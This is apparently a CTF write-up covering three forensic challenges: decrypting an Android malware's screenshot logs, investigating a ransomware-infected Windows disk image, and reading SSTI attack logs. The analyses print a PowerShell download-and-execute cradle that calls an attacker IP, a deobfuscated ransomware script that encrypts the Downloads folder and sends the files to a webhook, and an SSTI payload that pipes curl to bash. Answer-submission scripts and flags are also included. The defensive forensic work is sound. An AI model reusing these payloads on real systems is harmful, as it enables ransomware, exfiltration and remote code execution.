There are a total of 8 log files sent to the Telegram group, and all of these logs are encrypted. Therefore, we need to decrypt the screenshot log files created by the malware. We already have all the necessary components:
- Encryption Key (AES Key): dPGgF7tQlBaGqqmj –> from secret key
- Initialization Vector (IV): Cj7pYMR6FqYFKRYi –> from
I0.a.java
- Encryption Mode: AES/CBC/PKCS5Padding
Here is the final script to decrypt the 8 encrypted logs.
1import os
2from Crypto.Cipher import AES
3from Crypto.Util.Padding import unpad
4
5def decrypt_log_file(encrypted_file_path, output_dir):
6 key = b'dPGgF7tQlBaGqqmj'
7 iv = b'Cj7pYMR6FqYFKRYi'
8
9 try:
10 with open(encrypted_file_path, 'rb') as f:
11 ciphertext = f.read()
12
13 cipher = AES.new(key, AES.MODE_CBC, iv)
14 decrypted_data = unpad(cipher.decrypt(ciphertext), AES.block_size)
15
16 filename = os.path.basename(encrypted_file_path).replace(".enc", ".png")
17 decrypted_file_path = os.path.join(output_dir, filename)
18
19 with open(decrypted_file_path, 'wb') as f:
20 f.write(decrypted_data)
21
22 print(f"[+] {encrypted_file_path} => {decrypted_file_path}")
23
24 except Exception as e:
25 print(f"[!] Decrypt Fail {encrypted_file_path}: {e}")
26
27def decrypt_all_logs(input_dir="."):
28 output_dir = os.path.join(input_dir, "decrypted_logs")
29 os.makedirs(output_dir, exist_ok=True)
30
31 for filename in os.listdir(input_dir):
32 if filename.startswith("log_") and filename.endswith(".enc"):
33 full_path = os.path.join(input_dir, filename)
34 decrypt_log_file(full_path, output_dir)
35
36if __name__ == "__main__":
37 decrypt_all_logs()

In one of those logs, credentials were captured, specifically in the log file log_1753741684068.png
.

Thus, the credentials were obtained username: operator1337
& password: HM1_standin9_Str0nk
.
Last but not least, send all answer to challenge service.
1from pwn import *
2
3io = remote("13.250.98.246", 4437)
4
5def answer(line: bytes):
6 io.recvuntil(b"Answer:")
7 io.sendline(line)
8
9answers = [
10 b"yes",
11 b"com.itsec.android.hmi",
12 b"https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8",
13 b"android.media.projection.MediaProjectionManager",
14 b"dPGgF7tQlBaGqqmj",
15 b"Telegram",
16 b"8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q",
17 b"guntershelpsBot",
18 b"mycrib,https://t.me/+RVvaMCn_f7FmZmFl",
19 b"operator1337:HM1_standin9_Str0nk"
20]
21
22for ans in answers:
23 answer(ans)
24
25io.interactive()
FLAG
ITSEC{gunt3rs_is_th3_culpr1t_88ebf35eac}
Hacked
Overview
Author: daffainfo
Description: Bruh, I just got hacked. Please help me analyze this artifact and answer all the questions given
“Always perform analysis of forensic artifacts in a sandboxed environment”
Pass: 188696d2813d3f1e31d08f91a64b1f86
Connection Info: nc 54.254.152.24 34843
Second forensic challenge but this time solved and submitted on time 🥳.
We were given a challenge in the form of a VMDK (Virtual Machine Disk) file, sized at 8.15 GB compressed and 14.2 GB when decompressed. It’s absolutely insane to give a challenge with a file that large 💀🪦🏳️. However, this is quite common in real-case malware digital forensic (DFIR) challenges, so you just have to get used to it, haha.
For the setup, one option is to use a tool like FTK Imager. But, this time I mounted the file to my own VM (Ubuntu) so it could be accessed directly (the most important thing is to perform analysis of forensic artifacts in a sandboxed environment).
sudo modprobe nbd max_part=8
sudo qemu-nbd --connect=/dev/nbd0 artifact.vmdk
mkdir /mnt/vmdk_mount
sudo mount /dev/nbd0p1 /mnt/vmdk_mount
After mounting the disk, I was able to identify that this is a VM of the Windows Operating System.
No 1:
Pertanyaan: 1. Username on the device infected with malware?
Format: -
Jawaban: Peacock
We can see this username in the path Users/Peacock
.
No 2:
Pertanyaan: 2. Which folder is encrypted by the malware?
Format: D:\Example
Jawaban: C:\Users\Peacock\Downloads
In the C:\Users\Peacock\Downloads
directory, several files with the .enc
extension are visible.
$ tree Downloads
Downloads/
├── 5478063-yuru-camp-rin-shima-nadeshiko-kagamihara-anime-girls.jpg.enc
├── desktop.ini
├── IMPORTANT NOTES.txt.enc
├── README.txt
├── SteamSetup.exe.enc
└── winrar-x64-712.exe.enc
When attempting to open these files, they cannot be opened. It can be concluded that the Downloads
directory is the folder encrypted by the malware.
No 3:
Pertanyaan: 3. The threat actor's crypto wallet?
Format: 15cxezxyj3PxxNtoVAJ6rwiDYKnrchTNMm
Jawaban: 0xe28789577b1F8cfD964b2fD860807758216CeAE1
To find the threat actor’s crypto wallet address, we need to look for the “ransom note” they left behind.
And as it happens, there is a very suspicious file in the Downloads
folder.
$ cat README.txt
Send me 10000 USDT to unlock your PC (0xe28789577b1F8cfD964b2fD860807758216CeAE1)
The README.txt
file is the most common place for threat actors to leave payment instructions, including their crypto wallet address.
No 4:
Pertanyaan: 4. What applications do threat actors use to interact with victims?
Format: -
Jawaban: Discord
Typically, users interact with applications via shortcuts on their Desktop. When I checked the Desktop folder, I found the following:
$ tree Desktop/
Desktop/
├── desktop.ini
├── Discord.lnk
└── Microsoft Edge.lnk
Discord.lnk
file on the Desktop is a shortcut to the Discord application.
And as it turns out, this is correct. In ransomware scenarios, threat actors often use popular chat platforms like Discord to communicate with their victims anonymously.
No 5:
Pertanyaan: 5. Victim's Discord ID?
Format: 1234567890
Jawaban: 1391969554309058590
To find the victim’s Discord ID, we need to examine the configuration or cache files stored by the Discord application on the computer.
Typically, Discord user information, including the unique ID (which is a long series of numbers), is stored within the user’s AppData
folder.
The specific location to check is:
C:\Users\Peacock\AppData\Roaming\discord\Local Storage\leveldb\
$ tree
.
├── 000005.ldb
├── 000007.log
├── 000008.ldb
├── CURRENT
├── LOCK
├── LOG
├── LOG.old
└── MANIFEST-000001
0 directories, 8 files
$ strings 000007.log
_https://discordapp.com
tokens
{"__analytics__":"...","1391969554309058590":"dQw4w9WgXcQ:..."}i
From the 000007.log
data, the victim’s Discord ID is: 1391969554309058590
tokens
: This is the most important part. Discord stores authentication tokens (login keys) for every user who logs into the application.- User ID Key: In this data structure, the key before the token (
dQw4w9...
) is the unique ID of the logged-in user, who is the victim. Other IDs visible in the log file are likely server (guild), channel, or other user IDs, but the ID directly associated with the token is the victim’s ID.
No 6:
Pertanyaan: 6. Threat actor's Discord ID?
Format: 1234567890
Jawaban: 1391972617149481050
In the same file, 000007.log
, the threat actor’s Discord ID is 1391972617149481050
.
There is a NotificationCenterItemsStore_v2
section that records notifications. Inside it, there is a very clear entry:
"notifCenterLocalItems":[
{
"acked":true,
"forceUnacked":false,
"other_user":{
"id":"1391972617149481050",
"username":"f16yum",
"discriminator":"0",
...
},
"kind":"notification-center-item",
"local_id":"incoming_friend_requests_accepted_1391972617149481050_1392321463322673152",
"type":"INCOMING_FRIEND_REQUESTS_ACCEPTED",
"id":"1392321463322673152"
}
]
"type":"INCOMING_FRIEND_REQUESTS_ACCEPTED"
: This log records that the victim (“Peacock”) accepted a friend request."other_user"
: This section contains the details of the other user involved in the interaction, who is none other than the threat actor."id":"1391972617149481050"
: This is the unique ID of that “other user,” who is the threat actor with the username “f16yum”.
No 7:
Pertanyaan: 7. When did the threat actor join the same group as the victim?
Format: DD/MM/YYYY
Jawaban: 08/07/2025
We can find the earliest trace of activity inside the 000007.log
log file.
Focus on the NotificationCenterItemsStore_v2
section. There are notification IDs that contain timestamp information.
{"_state":{"pendingUsages":[{"key":"1391970944700121244","timestamp":1751993061429},{"key":"1391970942380408843","timestamp":1751993061429},{"key":"559905030304694273","timestamp":1751993066070},{"key":"417739215355510784","timestamp":1751993066070},{"key":"559905030304694273","timestamp":1752025497263},{"key":"417739215355510784","timestamp":1752025497263},{"key":"1392096559826731158","timestamp":1752025648992}]},"_version":0}
"timestamp":1751993061429 --> 08/07/2025
"timestamp":1751993061429 --> 08/07/2025
"timestamp":1751993066070 --> 08/07/2025
"timestamp":1751993066070 --> 08/07/2025
"timestamp":1752025497263 --> 09/07/2025
"timestamp":1752025497263 --> 09/07/2025
"timestamp":1752025648992 --> 09/07/2025
"timestamp":1751993061429 --> 08/07/2025
No 8:
Pertanyaan: 8. The link containing initial loader that was sent by the threat actor to the victim?
Format: http://example.com/example
Jawaban: https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing
The primary browser is Microsoft Edge. History, including download records, is stored in a SQLite database file.
The file we need to analyze is located at:
Users/Peacock/AppData/Local/Microsoft/Edge/User Data/Default/History
KeThen, I used https://sqliteviewer.app/ to directly view the values in the urls
table. By querying the browser’s download history, I found the link containing the initial loader is:
https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing

No 9:
Pertanyaan: 9. After the victim downloads and unzips the file, the malware file is moved to what folder?
Format: D:\Path\To\Example.txt
Jawaban: C:\Users\Peacock\Documents\main.exe
I found that after downloading and unzipping the malware file, the user moved the malware application to the Documents
folder.
$ tree Documents/
Documents/
├── desktop.ini
├── main.exe
├── My Music -> /media/npdn/E0EE4C0AEE4BD804/Users/Peacock/Music
├── My Pictures -> /media/npdn/E0EE4C0AEE4BD804/Users/Peacock/Pictures
└── My Videos -> /media/npdn/E0EE4C0AEE4BD804/Users/Peacock/Videos
3 directories, 2 files
No 10:
Pertanyaan: 10. What is the URL accessed by the initial dropper to download the second-stage loader?
Format: https://example.com/example
Jawaban: http://143.198.88.30:1338/installer.exe
I used VirusTotal to view information about the malware file (main.exe) and found that the application interacts with the URL http://143.198.88.30:1338/installer.exe to download the second-stage loader
https://www.virustotal.com/gui/file/110051d778e842bac18ab298717655fe10e025fab9098e7c34b04d0abb454f7b/relations

No 11:
Pertanyaan: 11. Where was the second-stage loader stored after being downloaded?
Format: D:\example.txt
Jawaban: C:\Windows\Temp\MkbrkEXh.exe
Looking at the file list in the C:\Windows\Temp
directory, it becomes very clear that the initial dropper downloads the second-stage loader and saves it with a random name (MkbrkEXh.exe) in this common hiding spot to avoid detection
https://www.virustotal.com/gui/file/e71f466fb0f8f7ede6068984714fb812f9358976cec60d8727f362742687c7cb/details
$ tree Windows/Temp/
Windows/Temp/
├── bb3a785178f443fda931098a5a9a306b.db.ses
├── BV1Hqu49.exe
├── FXSAPIDebugLogFile.txt
├── FXSTIFFDebugLogFile.txt
├── MkbrkEXh.exe
├── MpCmdRun.log
├── MpSigStub.log
├── MsEdgeCrashpad
│ ├── metadata
│ ├── reports
│ ├── settings.dat
│ └── throttle_store.dat
└── msedge_installer.log
2 directories, 11 files
No 12:
Pertanyaan: 12. What repository does the threat actor use to develop the second-stage loader?
Format: https://example.com/example
Jawaban: https://github.com/Ne0nd0g/go-shellcode
The malware was developed using Go.
I found the repository when examining the malware file (MkbrkEXh.exe) with the following command:
$ strings MkbrkEXh.exe | grep "\.go"
This will show several strings that are used, with one of the most interesting ones being go-shellcode
.
This tells us that the malware was likely developed as part of a project named go-shellcode, and it was written in the Go programming language.
I then searched for the keyword go-shellcode
and found the following Repository https://github.com/Ne0nd0g/go-shellcode
No 13:
Pertanyaan: 13. What is the full PowerShell command executed by the second-stage loader?
Format: -
Jawaban: powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')
We can once again find the command executed by the second-stage loader on VirusTotal
https://www.virustotal.com/gui/file/110051d778e842bac18ab298717655fe10e025fab9098e7c34b04d0abb454f7b/behavior

powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')
No 14:
Pertanyaan: 14. What URL does the final payload send the encrypted file to after encryption?
Format: https://example.com/example
Jawaban: https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402
We already know there was a URL in the command from the previous question is http://143.198.88.30:1338/o.ps1
When I accessed that PowerShell code, it turned out to be a very long obfuscated script, so it needed to be deobfuscated first. That so exhausting 😫.
$KjpbspZcWTDqzIJeMkPGIzuaoRkLuPfOpyQLwuEMZMgzEYXBiWrOpCmsQVMoFkbU = ([char](65 - 15 - 49 + 98 + 70 - 159), ...
$wjazbDRFJZTYpaVLgNvjtLMHymronIqDsqClpLRPCTjhboNmNnCoxtGZvqAHZRZF = ([char](84 - 72 + 33 - 43 + 51 - 41), ...
$naXCIlQbdYVjYmmEapYXcNqfuwUEQEktdMNnKVczGejrLEVLCvXxgLQdkEjRIQQB = ([char](- 54 - 83 - 44 - 95 + 56 + 300), ...
$CFFUjVKQJXJupWyCbzmngwraHUVaciNDogLRFPVfdledmRTEHHSnJztncHdZrkmy = ([char](79 + 48 + 31 - 57 + 93 - 70), ...
$pmopSadYTCiDAVxdMYIvaJyVzVwBzElcLojFCuNmmkjwCbaBNvIVuwmOISlToFVy = ([char](- 90 + 28 - 35 + 55 + 65 + 76), ...
$mQZbnYJkCVRSPPibUbZHRDSgdKwmiJZcbSWvIoyCtKIfUPTVfGFOuHLsrITMDpcc = ([char](- 11 + 31 - 19 + 88 - 66 + 17), ...
$kHwHbfHBJycoQFwkADQbWOFHpALFNSFBYlXQCLXKrbugvXflMWTajkoyjGJOjHWk = ([char](- 75 + 89 + 78 + 71 - 11 - 27), ...
$RtEIMmMLoiCciRVdrVLWrYUzpbQBbFCWiImlpguIAssJshUdcBIycivHUGWqkQbu = ([char](74 + 72 - 97 + 81 - 49 - 18), ...
$kEIRxZAZycbZJffCdJQCEhhIsHsbGhJUKKZxHSZwzNbqmapljFIPgnoLPoBtZRTQ = ([char](- 76 - 75 + 79 - 23 - 75 + 222), ...
$HdrwEtjIKzBNNbKkjmTpjmqjJRHDjIhyjVBCPYgjddSOeChcUBwCdJGevUXRpZPl = ([char](- 88 + 96 + 17 - 81 + 70 + 101), ...
$IacJNWSYCWpYZDQMSiaoDedOeakQsMZtEbbuIpPBuFggIqVMVwrfAFOtgtXNVJma = ([char](98 + 46 - 39 - 95 - 36 + 104), ...
$EOatdEvBgepQMEHFkazTKpqwuYlDYpymFMlchHYeWjJnplJVsDcFOshLGgDwrMqh = ([char](96 - 91 - 80 + 27 - 75 + 160), ...
$tnfWPtlVvvhAJubDvKLaZiGzMTFGoaKRxbXHJnzhDqLfbHhoRsQoyuAUgefwSQNO = ([char](- 73 + 38 - 63 + 94 - 69 + 144), ...
$MUxZNBeQIIzaOuVwiMxWqfmMPmKAklxsIOIFaZiLTzoqsTVDjmPHMwrpryuevVfy = ([char](83 + 95 + 58 - 84 - 59 - 24), ...
$nzpOKkaUkotfgqdTCGsptxMWyvQjqJhGTJTGxnrTbVEDFoAVNGJwkHAMoLuHZonF = ([char](- 94 - 29 + 77 - 79 + 12 + 236), ...
$dzFBDMyzzdUnBTHNXVlzRkRUDFwdohprHntmGpoNnHxnDkCVMxkAzrZOXnXOJZGa = ([char](- 82 + 98 - 52 - 29 + 62 + 44), ...
$PoHSbBCJDCNmOlgbsKUuOynZVkOfVAgdCwdANKoLwuHHSRYFcbvokmPmIzeZOKij = ([char](- 38 + 66 + 47 - 20 + 17 + 45), ...
$aOmkSUlEuiRehLxaniUEUCqbbmyJouVepECZtJeSDARucVWnUDKoIPoHyGGpVjMD = ([char](- 45 - 18 - 57 + 22 - 75 + 292), ...
$rYvmbVJGKSDuCrxlFGiFkVxmxmQgLepHEWmnbNlgMrjTMaXybhVrDkdKuYthXHJI = ([char](- 71 + 36 + 11 - 87 + 40 + 188), ...
$wlYQbIMcqCHEdDHOGVsqdxCCLrihUzDWznFAucDwGwVNlGyzUebBGQMtCCWtAFVH = ([char](- 86 - 65 + 11 + 41 - 20 + 176), ...
iex (($RtEIMmMLoiCciRVdrVLWrYUzpbQBbFCWiImlpguIAssJshUdcBIycivHUGWqkQbu[42 - 30 - 62 + 32 - 98 + 127],$rYvmbVJGKSDuCrxlFGiFkVxmxmQgLepHEWmnbNlgMrjTMaXybhVrDkdKuYthXHJI ...
However, I noticed the use of iex
(Invoke-Expression), which is used to execute expressions or strings as PowerShell commands.
What would happen if I replaced it with echo
just to display the output??
Before doing that, I needed to install the PowerShell package so it could be run in a Linux environment (don’t forget to run this in an isolated environment / VM).
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
wget -q "https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb"
sudo dpkg -i packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install -y powershell
$ pwsh o.ps1
$key = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SUlUVFNTRUVDQ19DVEYyMDI1Q295eXl5eSEhISE="))
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key)
$downloads = Join-Path $env:USERPROFILE "Downloads"
$webhook = "https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402"
$files = Get-ChildItem -Path $downloads -File -Recurse -ErrorAction SilentlyContinue
foreach ($file in $files) {
try {
$path = $file.FullName
$bytes = [System.IO.File]::ReadAllBytes($path)
$enc = [byte[]]::new($bytes.Length)
for ($i = 0; $i -lt $bytes.Length; $i++) {
$enc[$i] = $bytes[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}
$encPath = "$path.enc"
[System.IO.File]::WriteAllBytes($encPath, $enc)
Remove-Item $path -Force
Invoke-RestMethod -Uri $webhook -Method Post -InFile $encPath -ContentType "application/octet-stream"
} catch {
Write-Host "Failed: $($_.Exception.Message)"
}
}
Set-Content -Path (Join-Path $downloads "README.txt") -Value "Send me 10000 USDT to unlock your PC (0xe28789577b1F8cfD964b2fD860807758216CeAE1)"
Boom!! This will show deobfuscated PowerShell script instantly
It can be seen that https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402 is the webhook URL used as the destination.
No 15:
Pertanyaan: 15. What key was used by the final payload to encrypt the Downloads folder?
Format: -
Jawaban: IITTSSEECC_CTF2025Coyyyyy!!!!
The key can be seen in the previous code in the $key
variable, which is Base64 encoded. We just have to decode it.
$ echo "SUlUVFNTRUVDQ19DVEYyMDI1Q295eXl5eSEhISE==" | base64 -d
IITTSSEECC_CTF2025Coyyyyy!!!!
No 16:
Pertanyaan: 16. Decrypt the .txt file located in the Downloads folder and input its contents!
Format: -
Jawaban: EzMalware_1337!!
For the last question, we need to decrypt the .txt
file in the Downloads folder to see the message, using the key we obtained from the previous script. The file is IMPORTANT-NOTES.txt.enc
, and here is the decryptor script
1def decrypt_xor(encrypted_data, key):
2 key_bytes = key.encode('utf-8')
3 decrypted_bytes = bytearray()
4
5 for i in range(len(encrypted_data)):
6 decrypted_byte = encrypted_data[i] ^ key_bytes[i % len(key_bytes)]
7 decrypted_bytes.append(decrypted_byte)
8
9 return decrypted_bytes.decode('utf-8')
10
11if __name__ == "__main__":
12 encrypted_file_path = 'IMPORTANT-NOTES.txt.enc'
13 encryption_key = "IITTSSEECC_CTF2025Coyyyyy!!!!"
14
15 try:
16 with open(encrypted_file_path, 'rb') as f:
17 encrypted_content = f.read()
18
19 decrypted_text = decrypt_xor(encrypted_content, encryption_key)
20
21 print("--- DECRYPTION SUCCESSFUL ---")
22 print(decrypted_text)
23 print("---------------------------")
24
25 except FileNotFoundError:
26 print(f"Error: File not found in '{encrypted_file_path}'")
27 except Exception as e:
28 print(f"Error: {e}")
$ python3 decryptor.py
--- DECRYPTION SUCCESSFUL ---
If you able to decrypt the malware, submit this string into the bot :)
EzMalware_1337!!
---------------------------
Last but not least again, send all answer to challenge service.
1from pwn import *
2
3io = remote("13.250.98.246", 34843)
4
5context.update(log_level='debug')
6
7def answer(line: bytes):
8 io.recvuntil(b"Jawaban:")
9 io.sendline(line)
10
11answers = [
12 b"Peacock",
13 b"C:\Users\Peacock\Downloads",
14 b"0xe28789577b1F8cfD964b2fD860807758216CeAE1",
15 b"Discord",
16 b"1391969554309058590",
17 b"1391972617149481050",
18 b"08/07/2025",
19 b"https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing",
20 b"C:\Users\Peacock\Documents\main.exe",
21 b"http://143.198.88.30:1338/installer.exe",
22 b"C:\Windows\Temp\MkbrkEXh.exe",
23 b"https://github.com/Ne0nd0g/go-shellcode",
24 b"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')",
25 b"https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402",
26 b"IITTSSEECC_CTF2025Coyyyyy!!!!",
27 b"EzMalware_1337!!"
28]
29
30for ans in answers:
31 answer(ans)
32
33io.interactive()
FLAG
ITSEC{b403ab3f9050c1de4485cbbb747bfc14}
Night Shift
Overview
Author: BlackBear
Description: In the quiet hours of the night shift, someone slipped past the digital gates of our HMI system. We need your eyes, your instincts. Dig through the traces, read between the lines, and uncover the intruder’’s path.
We were given a log file in JSON format.
The log shows that an attacker with the IP address 10.10.10.39
exploited a Server-Side Template Injection (SSTI) vulnerability on the /edit-template
endpoint. The following are the steps taken by the attacker, as recorded in the logs:
The attacker first tested the vulnerability by sending simple payloads to see if the server would execute the code inside them. This is visible in the following logs:
"timestamp": "2025-02-12T12:05:00Z", "payload": "{{7-3}}"
"timestamp": "2025-02-12T12:06:15Z", "payload": "#{{3*2}}"
"timestamp": "2025-02-12T12:10:00Z", "payload": "{{3*'a'}}"
After confirming the vulnerability existed, the attacker sent a more complex payload to achieve Remote Code Execution (RCE). The critical log entry showing the success of this attack is at timestamp 2025-02-12T13:11:30Z
.
- Timestamp: 2025-02-12T13:11:30Z
- Attacker IP: 10.10.100.39
- Threat Label: SSTI-RCE
- Threat Score: 9.9
- Execution Result: Reverse Shell Triggered
- Payload:
{{''.class.mro()[1].subclasses()}}{{config.__class__.__init__.__globals__['os'].popen('curl http://10.10.100.39/payload.sh | bash | echo SVRTRUN7bDBnXzFzXzFtcDBydDRudF83NzUzYTRiNX0=').read()}}
The RCE payload above instructs the server to perform several actions, but the most important part for us is the echo
command
echo SVRTRUN7bDBnXzFzXzFtcDBydDRudF83NzUzYTRiNX0=
After being decoded from Base64, this string will produce the flag
echo "SVRTRUN7bDBnXzFzXzFtcDBydDRudF83NzUzYTRiNX0=" | base64 -d
ITSEC{l0g_1s_1mp0rt4nt_7753a4b5}
FLAG
ITSEC{l0g_1s_1mp0rt4nt_7753a4b5}